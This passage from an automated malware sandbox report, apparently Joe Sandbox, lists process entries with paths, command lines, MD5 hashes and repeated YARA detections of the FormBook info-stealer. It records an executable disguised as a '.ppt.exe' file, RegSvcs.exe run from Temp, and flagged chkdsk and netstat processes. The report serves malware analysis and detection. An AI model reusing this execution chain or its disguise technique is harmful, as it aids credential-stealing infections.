                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:"C:\Users\user\llkd\GBKUSN~1.EXE" C:\Users\user\llkd\hcmdvu.msc
                                                                                                                                                      Imagebase:0x300000
                                                                                                                                                      File size:947'288 bytes
                                                                                                                                                      MD5 hash:0ADB9B817F1DF7807576C2D7068DD931
                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Yara matches:
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000003.2471954570.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000015.00000003.2471954570.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000015.00000003.2471954570.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000003.2471954570.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000003.2471954570.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000003.2473261360.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000015.00000003.2473261360.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000015.00000003.2473261360.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000003.2473261360.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000003.2473261360.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000003.2472627068.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000015.00000003.2472627068.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000015.00000003.2472627068.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000003.2472627068.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000003.2472627068.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000003.2472003980.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000015.00000003.2472003980.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000015.00000003.2472003980.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000003.2472003980.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000003.2472003980.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000003.2483602473.000000000118E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000015.00000003.2483602473.000000000118E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000015.00000003.2483602473.000000000118E000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000003.2483602473.000000000118E000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000003.2483602473.000000000118E000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000003.2483527718.0000000001217000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000015.00000003.2483527718.0000000001217000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000015.00000003.2483527718.0000000001217000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000003.2483527718.0000000001217000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000003.2483527718.0000000001217000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000003.2472452372.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000015.00000003.2472452372.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000015.00000003.2472452372.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000003.2472452372.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000003.2472452372.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000003.2474361589.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000015.00000003.2474361589.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000015.00000003.2474361589.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000003.2474361589.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000003.2474361589.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000003.2487321915.0000000003B61000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000015.00000003.2487321915.0000000003B61000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000015.00000003.2487321915.0000000003B61000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000003.2487321915.0000000003B61000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000003.2487321915.0000000003B61000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000003.2472783600.0000000001219000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000015.00000003.2472783600.0000000001219000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000015.00000003.2472783600.0000000001219000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000003.2472783600.0000000001219000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000003.2472783600.0000000001219000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000003.2487925881.00000000011BC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000015.00000003.2487925881.00000000011BC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000015.00000003.2487925881.00000000011BC000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000003.2487925881.00000000011BC000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000003.2487925881.00000000011BC000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000003.2483338593.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000015.00000003.2483338593.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000015.00000003.2483338593.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000003.2483338593.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000003.2483338593.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000003.2473152784.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000015.00000003.2473152784.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000015.00000003.2473152784.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000003.2473152784.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000003.2473152784.000000000118C000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000003.2472845614.0000000001246000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000015.00000003.2472845614.0000000001246000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000015.00000003.2472845614.0000000001246000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000003.2472845614.0000000001246000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000003.2472845614.0000000001246000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000015.00000003.2472573703.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000015.00000003.2472573703.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000015.00000003.2472573703.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000015.00000003.2472573703.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000015.00000003.2472573703.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      Antivirus matches:
                                                                                                                                                      • Detection: 0%, ReversingLabs
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:23
                                                                                                                                                      Start time:09:54:36
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Users\user\AppData\Local\Temp\RegSvcs.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:"C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
                                                                                                                                                      Imagebase:0xed0000
                                                                                                                                                      File size:45'984 bytes
                                                                                                                                                      MD5 hash:9D352BC46709F0CB5EC974633A0C3C94
                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:24
                                                                                                                                                      Start time:09:54:36
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Users\user\AppData\Local\Temp\RegSvcs.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:"C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
                                                                                                                                                      Imagebase:0x460000
                                                                                                                                                      File size:45'984 bytes
                                                                                                                                                      MD5 hash:9D352BC46709F0CB5EC974633A0C3C94
                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:25
                                                                                                                                                      Start time:09:54:37
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Windows\SysWOW64\chkdsk.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:"C:\Windows\SysWOW64\chkdsk.exe"
                                                                                                                                                      Imagebase:0x8b0000
                                                                                                                                                      File size:23'040 bytes
                                                                                                                                                      MD5 hash:B4016BEE9D8F3AD3D02DD21C3CAFB922
                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Yara matches:
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000019.00000002.2521219944.00000000048C0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000019.00000002.2521219944.00000000048C0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000019.00000002.2521219944.00000000048C0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000019.00000002.2521219944.00000000048C0000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 00000019.00000002.2521219944.00000000048C0000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:26
                                                                                                                                                      Start time:09:54:38
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Windows\SysWOW64\NETSTAT.EXE
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:"C:\Windows\SysWOW64\NETSTAT.EXE"
                                                                                                                                                      Imagebase:0xa20000
                                                                                                                                                      File size:32'768 bytes
                                                                                                                                                      MD5 hash:9DB170ED520A6DD57B5AC92EC537368A
                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Yara matches:
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001A.00000002.2522456465.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001A.00000002.2522456465.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001A.00000002.2522456465.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001A.00000002.2522456465.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001A.00000002.2522456465.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      Has exited:true

                                                                                                                                                      General

                                                                                                                                                      Target ID:27
                                                                                                                                                      Start time:09:54:43
                                                                                                                                                      Start date:05/11/2024
                                                                                                                                                      Path:C:\Users\user\llkd\gbkusncub.ppt.exe
                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                      Commandline:"C:\Users\user\llkd\GBKUSN~1.EXE" C:\Users\user\llkd\hcmdvu.msc
                                                                                                                                                      Imagebase:0x300000
                                                                                                                                                      File size:947'288 bytes
                                                                                                                                                      MD5 hash:0ADB9B817F1DF7807576C2D7068DD931
                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                      Yara matches:
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001B.00000003.2612102497.0000000001484000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001B.00000003.2612102497.0000000001484000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001B.00000003.2612102497.0000000001484000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001B.00000003.2612102497.0000000001484000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001B.00000003.2612102497.0000000001484000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001B.00000003.2613801872.0000000001455000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001B.00000003.2613801872.0000000001455000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001B.00000003.2613801872.0000000001455000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001B.00000003.2613801872.0000000001455000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001B.00000003.2613801872.0000000001455000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001B.00000003.2612483906.0000000001426000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001B.00000003.2612483906.0000000001426000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001B.00000003.2612483906.0000000001426000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001B.00000003.2612483906.0000000001426000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001B.00000003.2612483906.0000000001426000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001B.00000003.2612600156.0000000001484000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001B.00000003.2612600156.0000000001484000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001B.00000003.2612600156.0000000001484000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001B.00000003.2612600156.0000000001484000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001B.00000003.2612600156.0000000001484000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001B.00000003.2612159299.0000000001426000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001B.00000003.2612159299.0000000001426000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001B.00000003.2612159299.0000000001426000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001B.00000003.2612159299.0000000001426000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001B.00000003.2612159299.0000000001426000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001B.00000003.2612655978.0000000001426000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001B.00000003.2612655978.0000000001426000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001B.00000003.2612655978.0000000001426000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001B.00000003.2612655978.0000000001426000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001B.00000003.2612655978.0000000001426000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001B.00000003.2613660065.0000000001428000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001B.00000003.2613660065.0000000001428000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001B.00000003.2613660065.0000000001428000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001B.00000003.2613660065.0000000001428000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001B.00000003.2613660065.0000000001428000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001B.00000003.2612834637.00000000014E0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001B.00000003.2612834637.00000000014E0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001B.00000003.2612834637.00000000014E0000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                      • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001B.00000003.2612834637.00000000014E0000.00000004.00000020.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                      • Rule: Formbook, Description: detect Formbook in memory, Source: 0000001B.00000003.2612834637.00000000014E0000.00000004.00000020.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                      • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001B.00000003.2612775741.00000000014B3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001B.00000003.2612775741.00000000014B3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001B.00000003.2612775741.00000000014B3000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
